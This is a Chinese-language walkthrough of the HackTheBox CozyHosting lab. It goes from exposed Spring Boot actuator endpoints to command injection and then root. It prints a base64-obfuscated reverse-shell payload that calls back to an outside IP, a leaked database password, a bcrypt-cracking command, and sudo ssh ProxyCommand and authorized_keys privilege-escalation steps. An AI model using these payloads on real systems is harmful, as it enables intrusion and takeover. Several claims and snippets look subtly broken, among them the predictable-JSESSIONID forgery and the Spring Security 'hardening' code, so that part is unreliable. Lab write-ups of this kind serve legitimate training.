从HTB CozyHosting靶机渗透实战看SpringBoot应用安全与权限提升
1. 靶机环境初探与信息收集
第一次接触HTB的CozyHosting靶机时,我习惯性地从基础信息收集开始。用nmap快速扫描目标IP(10.10.11.230),发现开放了四个关键端口:22(SSH)、80(HTTP)、8000(HTTP)、8081(未知服务)。这里有个细节要注意,80端口的nginx服务会自动跳转到cozyhosting.htb域名,记得在/etc/hosts里做好本地DNS解析。
深入扫描时发现个有趣现象:8000端口运行着Python的SimpleHTTPServer,而8081端口服务类型显示为blackice-icecap。实际测试发现8081端口存在过滤,这往往意味着可能有WAF或特殊防护机制。我常用的小技巧是先用默认脚本扫描漏洞(nmap --script=vuln),虽然这次没直接收获,但为后续手工测试划出了重点区域。
2. SpringBoot应用的安全盲区
在目录扫描过程中,意外发现了SpringBoot的actuator端点。这里要敲黑板——很多SpringBoot应用默认会暴露/heapdump、/env等敏感接口。我在实战中就通过/env端点找到了数据库连接信息,包括spring.datasource.url和credentials。
更关键的是会话管理漏洞。通过浏览器开发者工具查看Cookie时,发现JSESSIONID使用了可预测的序列。用Burp的Sequencer模块分析确认后,我直接伪造了管理员会话。这里有个实用技巧:SpringBoot默认使用Tomcat的JSESSIONID,如果服务器未正确配置随机源,就可能被会话固定攻击。
登录后台后,发现了个SSH连接功能模块。看似普通的表单,实则暗藏杀机——参数拼接直接传到后端执行。但第一次尝试执行whoami命令时却失败了,原来系统做了基础过滤。
3. 命令注入的花式绕过
遇到命令过滤时,我常用的三板斧是:
- 特殊字符绕过(如`反引号、$()替换)
- 空白符替代(${IFS}、%09等)
- 编码转换(base64、hex)
在CozyHosting这个案例中,最终采用的payload结构很有代表性:
whoami;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvNTU1NSAwPiYx"|base64${IFS}-d|bash`这个payload的精妙之处在于:
- 用分号分隔正常命令和攻击载荷
- ${IFS}替代空格绕过过滤
- 将反弹shell命令用base64编码隐藏
- 通过管道实时解码执行
实际测试时发现直接写反弹shell命令会被拦截,但拆解成编码片段就顺利通过了。这种分段处理的手法在对抗WAF时特别有效。
4. 数据库凭证的连锁反应
拿到初始shell后,在/app目录发现了cloudhosting-0.0.1.jar。用JD-GUI反编译后,在application.properties里找到了数据库配置:
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=QcI2k25RZ1用这个密码不仅成功登录了PostgreSQL,还发现能复用SSH登录系统用户josh。这里涉及到一个常见问题——密码复用。很多管理员会为不同服务设置相同密码,一旦某个地方泄露就会引发连锁反应。
在数据库的users表里,密码字段用的是BCrypt哈希。虽然直接破解难度大,但若找到弱密码(如admin/admin),用john-the-ripper配合rockyou.txt仍然可能破解:
john --format=bcrypt hash.txt --wordlist=rockyou.txt5. sudo权限的致命配置
切换到josh用户后,sudo -l显示有个危险配置:
User josh may run the following commands on localhost: (root) NOPASSWD: /usr/bin/ssh这个配置意味着可以root权限执行ssh命令。我常用的提权方法是:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x原理是利用SSH的ProxyCommand参数执行命令。由于ssh以root权限运行,所以获得的shell直接就是root权限。
更稳妥的另一种方式是生成SSH密钥对,将公钥写入/root/.ssh/authorized_keys:
mkdir /tmp/ssh chmod 700 /tmp/ssh ssh-keygen -t rsa -f /tmp/ssh/key echo 'ssh-rsa AAAAB...' | sudo tee /root/.ssh/authorized_keys ssh -i /tmp/ssh/key root@localhost6. SpringBoot安全加固建议
通过这次实战,我总结了几个SpringBoot应用必须做的安全措施:
端点防护
- 禁用敏感actuator端点:
management.endpoints.web.exposure.exclude=env,heapdump - 添加HTTP Basic认证:
management.endpoint.health.roles=ACTUATOR
- 禁用敏感actuator端点:
会话管理
@Bean public WebSecurityCustomizer webSecurityCustomizer() { return (web) -> web.securityContext() .securityContextRepository(new NullSecurityContextRepository()); }使用随机会话ID生成器,并设置HttpOnly和Secure标志
命令执行过滤
@PostMapping("/exec") public String exec(@RequestParam String cmd) { if(!Pattern.matches("[a-zA-Z0-9\\s]+", cmd)) { throw new IllegalArgumentException(); } // 白名单方式校验参数 }数据库安全
- 使用Vault动态生成凭证
- 为每个服务创建独立数据库账号
- 定期轮换密码
7. 从渗透到防御的思考
每次渗透测试就像一次攻防演练。在CozyHosting案例中,从Web漏洞到系统提权,攻击链上的每个环节其实都有防御方案:
- 输入验证:所有用户输入都应视为不可信
- 最小权限:数据库用户只给必要权限,系统用户限制sudo范围
- 纵深防御:即使某层被突破,也有下一层防护
- 日志监控:记录所有敏感操作,如命令执行、特权变更
最后分享个实用命令,用于检测系统中潜在的权限问题:
# 查找SUID文件 find / -perm -4000 -type f 2>/dev/null # 检查可写目录 find / -perm -o=w ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null # 检查cronjobs ls -la /etc/cron* /var/spool/cron/crontabs/